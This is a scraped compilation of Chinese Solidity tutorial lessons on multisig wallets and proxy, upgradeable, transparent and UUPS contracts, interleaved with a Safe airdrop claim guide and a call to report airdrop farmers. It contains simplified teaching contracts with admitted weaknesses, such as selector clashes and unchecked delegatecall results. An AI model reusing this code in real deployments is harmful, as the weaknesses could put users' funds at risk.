       // 编码交易数据，计算哈希
       bytes32 txHash = encodeTransactionData(to, value, data, nonce);
       nonce++;  // 增加nonce
       checkSignatures(txHash, signatures); // 检查签名
       // 利用call执行交易，并获取交易结果
       (success, ) = to.call{value: value}(data);
       require(success , "WTF5004");
       if (success) emit ExecutionSuccess(txHash);
       else emit ExecutionFailure(txHash);
   }
   

4. checkSignatures()：检查签名和交易数据的哈希是否对应，数量是否达到门槛，若否，交易会revert。单个签名长度为65字节，因此打包签名的长度要长于threshold * 65。调用了signatureSplit()分离出单个签名。这个函数的大致思路：

   • 用ecdsa获取签名地址.

   • 利用 currentOwner > lastOwner 确定签名来自不同多签（多签地址递增）。

   • 利用isOwner[currentOwner]确定签名者为多签持有人。

   /**
    * @dev 检查签名和交易数据是否对应。如果是无效签名，交易会revert
    * @param dataHash 交易数据哈希
    * @param signatures 几个多签签名打包在一起
    */
   function checkSignatures(
       bytes32 dataHash,
       bytes memory signatures
   ) public view {
       // 读取多签执行门槛
       uint256 _threshold = threshold;
       require(_threshold > 0, "WTF5005");
   
       // 检查签名长度足够长
       require(signatures.length >= _threshold * 65, "WTF5006");
   
       // 通过一个循环，检查收集的签名是否有效
       // 大概思路：
       // 1. 用ecdsa先验证签名是否有效
       // 2. 利用 currentOwner > lastOwner 确定签名来自不同多签（多签地址递增）
       // 3. 利用 isOwner[currentOwner] 确定签名者为多签持有人
       address lastOwner = address(0); 
       address currentOwner;
       uint8 v;
       bytes32 r;
       bytes32 s;
       uint256 i;
       for (i = 0; i < _threshold; i++) {
           (v, r, s) = signatureSplit(signatures, i);
           // 利用ecrecover检查签名是否有效
           currentOwner = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v, r, s);
           require(currentOwner > lastOwner && isOwner[currentOwner], "WTF5007");
           lastOwner = currentOwner;
       }
   }
   

5. signatureSplit()：将单个签名从打包的签名分离出来，参数分别为打包签名signatures和要读取的签名位置pos。利用了内联汇编，将签名的r，s，和v三个值分离出来。

   /// 将单个签名从打包的签名分离出来
   /// @param signatures 打包签名
   /// @param pos 要读取的多签index.
   function signatureSplit(bytes memory signatures, uint256 pos)
       internal
       pure
       returns (
           uint8 v,
           bytes32 r,
           bytes32 s
       )
   {
       // 签名的格式：{bytes32 r}{bytes32 s}{uint8 v}
       assembly {
           let signaturePos := mul(0x41, pos)
           r := mload(add(signatures, add(signaturePos, 0x20)))
           s := mload(add(signatures, add(signaturePos, 0x40)))
           v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff)
       }
   }
   

6. encodeTransactionData()：将交易数据打包并计算哈希，利用了abi.encode()和keccak256()函数。这个函数可以计算出一个交易的哈希，然后在链下让多签人签名并收集，再调用execTransaction()函数执行。

   /// @dev 编码交易数据
   /// @param to 目标合约地址
   /// @param value msg.value，支付的以太坊
   /// @param data calldata
   /// @param _nonce 交易的nonce.
   /// @return 交易哈希bytes.
   function encodeTransactionData(
       address to,
       uint256 value,
       bytes memory data,
       uint256 _nonce
   ) public pure returns (bytes32) {
       bytes32 safeTxHash =
           keccak256(
               abi.encode(
                   to,
                   value,
                   keccak256(data),
                   _nonce
               )
           );
       return safeTxHash;
   }
   

Remix演示

• 部署多签合约，2个多签地址，交易执行门槛设为2。

  多签地址1: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
  多签地址2: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
  

• 转ETH到多签合约地址。

• 调用encodeTransactionData()，编码并计算向多签地址1转账1 ETH的交易哈希。

  参数
  to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
  value: 1000000000000000000
  data: 0x
  _nonce: 0
  结果
  交易哈希： 0x60b286f1ebc340b158aaed0ae30d8275b7441ec9819fcd8b0749793fb482a3d4
  

• 利用Remix中ACCOUNT旁边的笔记图案的按钮进行签名，内容输入上面的交易哈希，获得签名，两个钱包都要签。

  多签地址1的签名: 0xa3f3e4375f54ad0a8070f5abd64e974b9b84306ac0dd5f59834efc60aede7c84454813efd16923f1a8c320c05f185bd90145fd7a7b741a8d13d4e65a4722687e1b
  
  多签地址2的签名: 0x6b228b6033c097e220575f826560226a5855112af667e984aceca50b776f4c885e983f1f2155c294c86a905977853c6b1bb630c488502abcc838f9a225c813811c
  
  讲两个签名拼接到一起，得到打包签名:  0xa3f3e4375f54ad0a8070f5abd64e974b9b84306ac0dd5f59834efc60aede7c84454813efd16923f1a8c320c05f185bd90145fd7a7b741a8d13d4e65a4722687e1b6b228b6033c097e220575f826560226a5855112af667e984aceca50b776f4c885e983f1f2155c294c86a905977853c6b1bb630c488502abcc838f9a225c813811c
  

• 调用execTransaction()函数执行交易，将第3步中的交易参数和打包签名作为参数传入。可以看到交易执行成功，ETH被转出多签。

总结

这一讲，我们介绍了多签钱包，并写了一个极简版的多签钱包合约，仅有不到150行代码。

我与多签钱包很有缘分，2021年因为PeopleDAO创建国库而学习了Gnosis Safe并写了中英文的使用教程，之后很幸运的做了3个国库的多签人维护资产安全，现在又成为了Safe的守护者深度参与治理。希望大家的资产都更加安全。

https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s

1. 进入空投领取网址

链接

Safe{Wallet}

Multisig Security for your onchain assets

https://safe.global

2. 连接Safe多签钱包

选择有资格领取空投的Safe多签钱包，然后点击左下角的connect，

3. 阅读教程，点击5下continue

4. 点击Start your claiming process

5. 选择投票委托人，在搜索栏搜 0xAA，并点击头像。

6. 点击Select as delegate，设置投票委托人，不会影响你的转账，之后任何和Safe有关的问题可以咨询我。

7. 点击Max，领取最大数额的$SAFE，然后点击 Claim and delegate按钮，创建领取交易。

8. 多签人签署交易，提交，就可以领到Safe代币了！

推特：@0xAA_Science

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们将介绍代理合约中选择器冲突（Selector Clash）的另一个解决办法：通用可升级代理（UUPS，universal upgradeable proxy standard）。教学代码由OpenZepplin的UUPSUpgradeable简化而成，不应用于生产。

UUPS

我们在上一讲已经学习了"选择器冲突"（Selector Clash），即合约存在两个选择器相同的函数，可能会造成严重后果。作为透明代理的替代方案，UUPS也能解决这一问题。

UUPS（universal upgradeable proxy standard，通用可升级代理）将升级函数放在逻辑合约中。这样一来，如果有其它函数与升级函数存在“选择器冲突”，编译时就会报错。

下表中概括了普通可升级合约，透明代理，和UUPS的不同点：

UUPS合约

首先我们要复习一下WTF Solidity极简教程第23讲：Delegatecall。如果用户A通过合约B（代理合约）去delegatecall合约C（逻辑合约），语境仍是合约B的语境，msg.sender仍是用户A而不是合约B。因此，UUPS合约可以将升级函数放在逻辑合约中，并检查调用者是否为管理员。

UUPS的代理合约

UUPS的代理合约看起来像是个不可升级的代理合约，非常简单，因为升级函数被放在了逻辑合约中。它包含3个变量：

• implementation：逻辑合约地址。

• admin：admin地址。

• words：字符串，可以通过逻辑合约的函数改变。

它包含2个函数

• 构造函数：初始化admin和逻辑合约地址。

• fallback()：回调函数，将调用委托给逻辑合约。

contract UUPSProxy {
    address public implementation; // 逻辑合约地址
    address public admin; // admin地址
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 构造函数，初始化admin和逻辑合约地址
    constructor(address _implementation){
        admin = msg.sender;
        implementation = _implementation;
    }

    // fallback函数，将调用委托给逻辑合约
    fallback() external payable {
        (bool success, bytes memory data) = implementation.delegatecall(msg.data);
    }
}

UUPS的逻辑合约

UUPS的逻辑合约与第47讲中的不同是多了个升级函数。UUPS逻辑合约包含3个状态变量，与保持代理合约一致，防止插槽冲突。它包含2个

• upgrade()：升级函数，将改变逻辑合约地址implementation，只能由admin调用。

• foo()：旧UUPS逻辑合约会将words的值改为"old"，新的会改为"new"。

// UUPS逻辑合约（升级函数写在逻辑合约内）
contract UUPS1{
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 改变proxy中状态变量，选择器： 0xc2985578
    function foo() public{
        words = "old";
    }

    // 升级函数，改变逻辑合约地址，只能由admin调用。选择器：0x0900f010
    // UUPS中，逻辑函数中必须包含升级函数，不然就不能再升级了。
    function upgrade(address newImplementation) external {
        require(msg.sender == admin);
        implementation = newImplementation;
    }
}

// 新的UUPS逻辑合约
contract UUPS2{
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 改变proxy中状态变量，选择器： 0xc2985578
    function foo() public{
        words = "new";
    }

    // 升级函数，改变逻辑合约地址，只能由admin调用。选择器：0x0900f010
    // UUPS中，逻辑函数中必须包含升级函数，不然就不能再升级了。
    function upgrade(address newImplementation) external {
        require(msg.sender == admin);
        implementation = newImplementation;
    }
}

Remix实现

1. 部署UUPS新旧逻辑合约UUPS1和UUPS2。

2. 部署UUPS代理合约UUPSProxy，将implementation地址指向把旧逻辑合约UUPS1。

3. 利用选择器0xc2985578，在代理合约中调用旧逻辑合约UUPS1的foo()函数，将words的值改为"old"。

4. 利用在线ABI编码器(HashEx)[https://abi.hashex.org/]获得二进制编码，调用升级函数upgrade()，将implementation地址指向新逻辑合约UUPS2。

5. 利用选择器0xc2985578，在代理合约中调用新逻辑合约UUPS2的foo()函数，将words的值改为"new"。

总结

这一讲，我们介绍了代理合约“选择器冲突”的另一个解决方案：UUPS。与透明代理不同，UUPS将升级函数放在了逻辑合约中，从而使得"选择器冲突"不能通过编译。相比透明代理，UUPS更复杂，但是也更省gas。

推特：@0xAA_Science

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们将介绍代理合约的选择器冲突（Selector Clash），以及这一问题的解决方案：透明代理（Transparent Proxy）。教学代码由OpenZepplin的TransparentUpgradeableProxy简化而成，不应用于生产。

选择器冲突

智能合约中，函数选择器（selector）是函数签名的哈希的前4个字节。例如mint(address account)的选择器为bytes4(keccak256("mint(address)"))，也就是0x6a627842。更多关于选择器的内容见WTF Solidity极简教程第29讲：函数选择器

由于函数选择器仅有4个字节，范围很小，因此两个不同的函数可能会有相同的选择器，例如下面两个函数：

// 选择器冲突的例子
contract Foo {
    function burn(uint256) external {}
    function collate_propagate_storage(bytes16) external {}
}

示例中，函数burn()和collate_propagate_storage()的选择器都为0x42966c68，是一样的，这种情况被称为“选择器冲突”。在这种情况下，EVM无法通过函数选择器分辨用户调用哪个函数，因此该合约无法通过编译。

由于代理合约和逻辑合约是两个合约，就算他们之间存在“选择器冲突”也可以正常编译，这可能会导致很严重的安全事故。举个例子，如果逻辑合约的a函数和代理合约的升级函数的选择器相同，那么管理人就会在调用a函数的时候，将代理合约升级成一个黑洞合约，后果不堪设想。

目前，有两个可升级合约标准解决了这一问题：透明代理Transparent Proxy和通用可升级代理UUPS。

透明代理

透明代理的逻辑非常简单：管理员可能会因为“函数选择器冲突”，在调用逻辑合约的函数时，误调用代理合约的可升级函数。那么限制管理员的权限，不让他调用任何逻辑合约的函数，就能解决冲突：

• 管理员变为工具人，仅能调用代理合约的可升级函数对合约升级，不能通过回调函数调用逻辑合约。

• 其它用户不能调用可升级函数，但是可以调用逻辑合约的函数。

代理合约

这里的代理合约和第47讲的非常相近，只是fallback()函数限制了管理员地址的调用。

它包含3个变量：

• implementation：逻辑合约地址。

• admin：admin地址。

• words：字符串，可以通过逻辑合约的函数改变。

它包含3个函数

• 构造函数：初始化admin和逻辑合约地址。

• fallback()：回调函数，将调用委托给逻辑合约，不能由admin调用。

• upgrade()：升级函数，改变逻辑合约地址，只能由admin调用。

// 透明可升级合约的教学代码，不要用于生产。
contract TransparentProxy {
    address implementation; // logic合约地址
    address admin; // 管理员
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 构造函数，初始化admin和逻辑合约地址
    constructor(address _implementation){
        admin = msg.sender;
        implementation = _implementation;
    }

    // fallback函数，将调用委托给逻辑合约
    // 不能被admin调用，避免选择器冲突引发意外
    fallback() external payable {
        require(msg.sender != admin);
        (bool success, bytes memory data) = implementation.delegatecall(msg.data);
    }

    // 升级函数，改变逻辑合约地址，只能由admin调用
    function upgrade(address newImplementation) external {
        if (msg.sender != admin) revert();
        implementation = newImplementation;
    }
}

逻辑合约

这里的新、旧逻辑合约与第47讲一样。逻辑合约包含3个状态变量，与保持代理合约一致，防止插槽冲突；包含一个函数foo()，旧逻辑合约会将words的值改为"old"，新的会改为"new"。

// 旧逻辑合约
contract Logic1 {
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 改变proxy中状态变量，选择器： 0xc2985578
    function foo() public{
        words = "old";
    }
}

// 新逻辑合约
contract Logic2 {
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 改变proxy中状态变量，选择器：0xc2985578
    function foo() public{
        words = "new";
    }
}

Remix实现

1. 部署新旧逻辑合约Logic1和Logic2。

2. 部署透明代理合约TranparentProxy，将implementation地址指向把旧逻辑合约。

3. 利用选择器0xc2985578，在代理合约中调用旧逻辑合约Logic1的foo()函数。调用将失败，因为管理员不能调用逻辑合约。

4. 切换新钱包，利用选择器0xc2985578，在代理合约中调用旧逻辑合约Logic1的foo()函数，将words的值改为"old"，调用将成功。

5. 切换回管理员钱包，调用upgrade()，将implementation地址指向新逻辑合约Logic2。

6. 切换新钱包，利用选择器0xc2985578，在代理合约中调用新逻辑合约Logic2的foo()函数，将words的值改为"new"。

总结

这一讲，我们介绍了代理合约中的“选择器冲突”，以及如何利用透明代理避免这个问题。透明代理的逻辑简单，通过限制管理员调用逻辑合约解决“选择器冲突”问题。它也有缺点，每次用户调用函数时，都会多一步是否为管理员的检查，消耗更多gas。但瑕不掩瑜，透明代理仍是大多数项目方选择的方案。

下一讲，我们会介绍省gas但是也更加复杂的通用可升级代理UUPS。

作者：tschubotz)

鉴于即将推出的 SafeDAO，我们最近为用户重新设计了 SAFE 分发版 。我们降低了一些初始分配标准，为了让更广泛的成员获得SAFE代币。

这一点可能会给空投猎人机会，因为早在 GnosisDAO 的 GIP-29（时间 2022.02.16）就公布将发行SAFE 代币，并最终通过治理流程（时间 2022.04.15）。目前在Twitter、Discord 和 Safe 论坛上都有关于潜在空投猎人炫耀的报道。

我们希望社区能帮助识别仅为获得Safe代币空投而被创建的Safe钱包。

如何贡献？

要报告一组Safe钱包，请在分配报告repo中使用模版创建issue。

• 报告将按照先到先得的原则进行审核。

• 在审查时，报告必须包含至少 10 个仍位于safe_user_allocations_reworked.csv中的地址。

• 必须很好地易懂地解释为什么报告的Safe钱包是空投猎人的，包含识别方法和推理。

• 可能会将合法使用者排除在空投之外的报告将不被采纳。如果不能明确判断，我们默认“这是合法使用（钱包）”。

• 当主网Safe钱包被成功识别为空投猎人时，提交者将获得 25% “被拯救”的Safe代币，剩余的 75% 将重新分配给其余符合条件的Safe钱包。

• 报告必须在 2022 年 9 月 19 日 00:00:00 CEST 之前提交给 Github。

• 报告接受/拒绝由Safe团队自行决定。

English Version:

Community Challenge: Identify Airdrop Farmers

In light of the upcoming SafeDAO launch, we have recently reworked the SAFE distribution for users. In order to include a broad part of the community, we have lowered some of the initial distribution criteria.

https://forum.safe.global

推特：所有代所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们将介绍可升级合约（Upgradeable Contract）。教学用的合约由openzepplin中的合约简化而来，可能有安全问题，不应用于生产环境。

可升级合约

如果你理解了代理合约，就很容易理解可升级合约。它是一个可以更改逻辑合约的代理合约。

简单实现

下面我们实现一个简单的可升级合约，它包含3个合约：代理合约，旧的逻辑合约，和新的逻辑合约。

代理合约

这个代理合约比第46讲中的简单。我们没有在它的fallback()函数中使用内联汇编，而仅仅用了implementation.delegatecall(msg.data);。因此，回调函数没有返回值，但足够教学使用了。

它包含3个变量：

• implementation：逻辑合约地址。

• admin：admin地址。

• words：字符串，可以通过逻辑合约的函数改变。

它包含3个函数

• 构造函数：初始化admin和逻辑合约地址。

• fallback()：回调函数，将调用委托给逻辑合约

• upgrade()：升级函数，改变逻辑合约地址，只能由admin调用

// SPDX-License-Identifier: MIT
// wtf.academy
pragma solidity ^0.8.4;

// 简单的可升级合约，管理员可以通过升级函数更改逻辑合约地址，从而改变合约的逻辑。
// 教学演示用，不要用在生产环境
contract SimpleUpgrade {
    address public implementation; // 逻辑合约地址
    address public admin; // admin地址
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 构造函数，初始化admin和逻辑合约地址
    constructor(address _implementation){
        admin = msg.sender;
        implementation = _implementation;
    }

    // fallback函数，将调用委托给逻辑合约
    fallback() external payable {
        (bool success, bytes memory data) = implementation.delegatecall(msg.data);
    }

    // 升级函数，改变逻辑合约地址，只能由admin调用
    function upgrade(address newImplementation) external {
        require(msg.sender == admin);
        implementation = newImplementation;
    }
}

旧逻辑合约

这个逻辑合约包含3个状态变量，与保持代理合约一致，防止插槽冲突。它只有一个函数foo()，将代理合约中的wrods的值改为"old"。

// 逻辑合约1
contract Logic1 {
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 改变proxy中状态变量，选择器： 0xc2985578
    function foo() public{
        words = "old";
    }
}

新逻辑合约

这个逻辑合约包含3个状态变量，与保持代理合约一致，防止插槽冲突。它只有一个函数foo()，将代理合约中的wrods的值改为"new"。

// 逻辑合约2
contract Logic2 {
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 改变proxy中状态变量，选择器：0xc2985578
    function foo() public{
        words = "new";
    }
}

Remix实现

1. 部署新旧逻辑合约Logic1和Logic2。

2. 部署可升级合约SimpleUpgrade，将implementation地址指向把旧逻辑合约。

3. 利用选择器0xc2985578，在代理合约中调用旧逻辑合约Logic1的foo()函数，将wrods的值改为"old"。

4. 调用upgrade()，将implementation地址指向新逻辑合约Logic2。

5. 利用选择器0xc2985578，在代理合约中调用新逻辑合约Logic2的foo()函数，将wrods的值改为"new"。

总结

这一讲，我们介绍了一个简单的可升级合约。它是一个可以改变逻辑合约的代理合约，给不可更改的智能合约增加了升级功能。但是，这个合约有选择器冲突的问题，存在安全隐患。之后我们会介绍解决这一隐患的可升级合约标准：透明代理和UUPS。

推特：@0xAA_Science

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们介绍代理合约（Proxy Contract）。教学代码由OpenZepplin的Proxy合约简化而来。

代理模式

Solidity合约部署在链上之后，代码是不可变的（immutable）。这样既有优点，也有缺点：

• 优点：安全，用户知道会发生什么（大部分时候）。

• 坏处：就算合约中存在bug，也不能修改或升级，只能部署新合约。但是新合约的地址与旧的不一样，且合约的数据也需要花费大量gas进行迁移。

有没有办法在合约部署后进行修改或升级呢？答案是有的，那就是代理模式。

代理模式将合约数据和逻辑分开，分别保存在不同合约中。我们拿上图中简单的代理合约为例，数据（状态变量）存储在代理合约中，而逻辑（函数）保存在另一个逻辑合约中。代理合约（Proxy）通过delegatecall，将函数调用全权委托给逻辑合约（Implementation）执行，再把最终的结果返回给调用者（Caller）。

代理模式主要有两个好处：

1. 可升级：当我们需要升级合约的逻辑时，只需要将代理合约指向新的逻辑合约。

2. 省gas：如果多个合约复用一套逻辑，我们只需部署一个逻辑合约，然后再部署多个只保存数据的代理合约，指向逻辑合约。

提示：对delegatecall不熟悉的朋友可以看下本教程第23讲Delegatecall。

代理合约

下面我们介绍一个简单的代理合约，它由OpenZepplin的Proxy合约简化而来。它有三个部分：代理合约Proxy，逻辑合约Logic，和一个调用示例Caller。它的逻辑并不复杂：

• 首先部署逻辑合约Logic。

• 创建代理合约Proxy，状态变量implementation记录Logic合约地址。

• Proxy合约利用回调函数fallback，将所有调用委托给Logic合约

• 最后部署调用示例Caller合约，调用Proxy合约。

• 注意：Logic合约和Proxy合约的状态变量存储结构相同，不然delegatecall会产生意想不到的行为，有安全隐患。

代理合约Proxy

Proxy合约不长，但是用到了内联汇编，因此比较难理解。它只有一个状态变量，一个构造函数，和一个回调函数。状态变量implementation，在构造函数中初始化，用于保存Logic合约地址。

contract Proxy {
    address public immutable implementation; // 逻辑合约地址。implementation合约同一个位置的状态变量类型必须和Proxy合约的相同，不然会报错。

    /**
     * @dev 初始化逻辑合约地址
     */
    constructor(address implementation_){
        implementation = implementation_;
    }

Proxy的回调函数将外部对本合约的调用委托给 Logic 合约。这个回调函数很别致，它利用内联汇编（inline assembly），让本来不能有返回值的回调函数有了返回值。其中用到的内联汇编操作码：

• calldatacopy(t, f, s)：将calldata（输入数据）从位置f开始复制s字节到mem（内存）的位置t。

• delegatecall(g, a, in, insize, out, outsize)：调用地址a的合约，输入为mem[in..(in+insize)) ，输出为mem[out..(out+outsize))， 提供g的gas 和v wei的以太坊。这个操作码在错误时返回0，在成功时返回1。

• returndatacopy(t, f, s)：将returndata（输出数据）从位置f开始复制s字节到mem（内存）的位置t。

• switch：基础版if/else，不同的情况case返回不同值。可以有一个默认的default情况。

• return(p, s)：终止函数执行, 返回数据mem[p..(p+s))。

• revert(p, s)：终止函数执行, 回滚状态，返回数据mem[p..(p+s))。

/**
* @dev 回调函数，将本合约的调用委托给 `implementation` 合约
* 通过assembly，让回调函数也能有返回值
*/
fallback() external payable {
    address _implementation = implementation;
    assembly {
        // 将msg.data拷贝到内存里
        // calldatacopy操作码的参数: 内存起始位置，calldata起始位置，calldata长度
        calldatacopy(0, 0, calldatasize())

        // 利用delegatecall调用implementation合约
        // delegatecall操作码的参数：gas, 目标合约地址，input mem起始位置，input mem长度，output area mem起始位置，output area mem长度
        // output area起始位置和长度位置，所以设为0
        // delegatecall成功返回1，失败返回0
        let result := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)

        // 将return data拷贝到内存
        // returndata操作码的参数：内存起始位置，returndata起始位置，returndata长度
        returndatacopy(0, 0, returndatasize())

        switch result
        // 如果delegate call失败，revert
        case 0 {
            revert(0, returndatasize())
        }
        // 如果delegate call成功，返回mem起始位置为0，长度为returndatasize()的数据（格式为bytes）
        default {
            return(0, returndatasize())
        }
    }
}

逻辑合约Logic

这是一个非常简单的逻辑合约，只是为了演示代理合约。它包含2个变量，1个事件，1个函数：

• implementation：占位变量，与Proxy合约保持一致，防止插槽冲突。

• x：uint变量，被设置为99。

• CallSuccess事件：在调用成功时释放。

• increment()函数：会被Proxy合约调用，释放CallSuccess事件，并返回一个uint，它的selector为0xd09de08a。如果直接调用increment()回返回100，但是通过Proxy调用它会返回1，大家可以想想为什么？

/**
 * @dev 逻辑合约，执行被委托的调用
 */
contract Logic {
    address public implementation; // 与Proxy保持一致，防止插槽冲突
    uint public x = 99; 
    event CallSuccess(); // 调用成功事件

    // 这个函数会释放CallSuccess事件并返回一个uint。
    // 函数selector: 0xd09de08a
    function increment() external returns(uint) {
        emit CallSuccess();
        return x + 1;
    }
}

调用者合约Caller

Caller合约会演示如何调用一个代理合约，它也非常简单。但是要理解它，你需要先学习本教程的第22讲 Call和第27讲 ABI编码。

它有1个变量，2个函数：

• proxy：状态变量，记录代理合约地址。

• 构造函数：在部署合约时初始化proxy变量。

• increase()：利用call来调用代理合约的increment()函数，并返回一个uint。在调用时，我们利用abi.encodeWithSignature()获取了increment()函数的selector。在返回时，利用abi.decode()将返回值解码为uint类型。

/**
 * @dev Caller合约，调用代理合约，并获取执行结果
 */
contract Caller{
    address public proxy; // 代理合约地址

    constructor(address proxy_){
        proxy = proxy_;
    }

    // 通过代理合约调用increment()函数
    function increment() external returns(uint) {
        ( , bytes memory data) = proxy.call(abi.encodeWithSignature("increment()"));
        return abi.decode(data,(uint));
    }
}

Remix演示

1. 部署Logic合约。

2. 调用Logic合约的increment()函数，返回100。

3. 部署Proxy合约，初始化时填入Logic合约地址。

4. 调用Proxy合约increment()函数，无返回值。

   调用方法：在Remix部署面板中点Proxy合约，在最下面的Low level interaction中填入increment()函数的选择器0xd09de08a，并点击Transact。

5. 部署Caller合约，初始化时填入Proxy合约地址。

6. 调用Caller合约increment()函数，返回1。

总结

这一讲，我们介绍了代理模式和简单的代理合约。代理合约利用delegatecall将函数调用委托给了另一个逻辑合约，使得数据和逻辑分别由不同合约负责。并且，它利用内联汇编黑魔法，让没有返回值的回调函数也可以返回数据。下一讲，我们会介绍可升级代理合约。

代理合约虽然很强大，但是它非常容易出bug，用的时候最好直接复制OpenZepplin的模版合约。